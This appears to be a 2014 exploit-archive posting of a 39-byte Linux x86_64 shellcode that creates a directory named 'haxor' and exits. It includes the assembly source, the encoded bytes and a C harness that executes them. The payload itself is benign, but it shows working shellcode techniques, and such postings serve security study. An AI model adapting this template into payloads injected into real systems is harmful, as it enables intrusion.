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39 Bytes mkdir haxor / exit Shellcode

39 Bytes mkdir haxor / exit Shellcode
Posted Jun 26, 2014
Authored by Osanda Malith

39 bytes small mkdir() 'haxor' and exit() shellcode.

tags | shellcode
MD5 | 8c789304e8671a5f20aeec7fc6a1c299

39 Bytes mkdir haxor / exit Shellcode

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/*
; Title: mkdir() 'haxor' and exit() Shellcode - 39 bytes
; Platform: linux/x86_64
; Date: 2014-06-26
; Author: Osanda Malith Jayathissa (@OsandaMalith)

section .text
global _start

_start:

jmp call_shellcode

shellcode:

pop rsi
xor rax, rax
mov al, 0x53
mov rdi, rsi
mov si, 0x1ed
syscall

xor rax, rax
add rax, 60
xor rdi, rdi
syscall

call_shellcode:

call shellcode
text: db 0x68, 0x61, 0x78, 0x6f, 0x72
*/
#include <stdio.h>
#include <string.h>

unsigned char code[] = "\xeb\x1b\x5e\x48\x31\xc0\xb0\x53"
"\x48\x89\xf7\x66\xbe\xed\x01\x0f"
"\x05\x48\x31\xc0\x48\x83\xc0\x3c"
"\x48\x31\xff\x0f\x05\xe8\xe0\xff"
"\xff\xff\x68\x61\x78\x6f\x72";

int
main() {

printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();

return 0;
}



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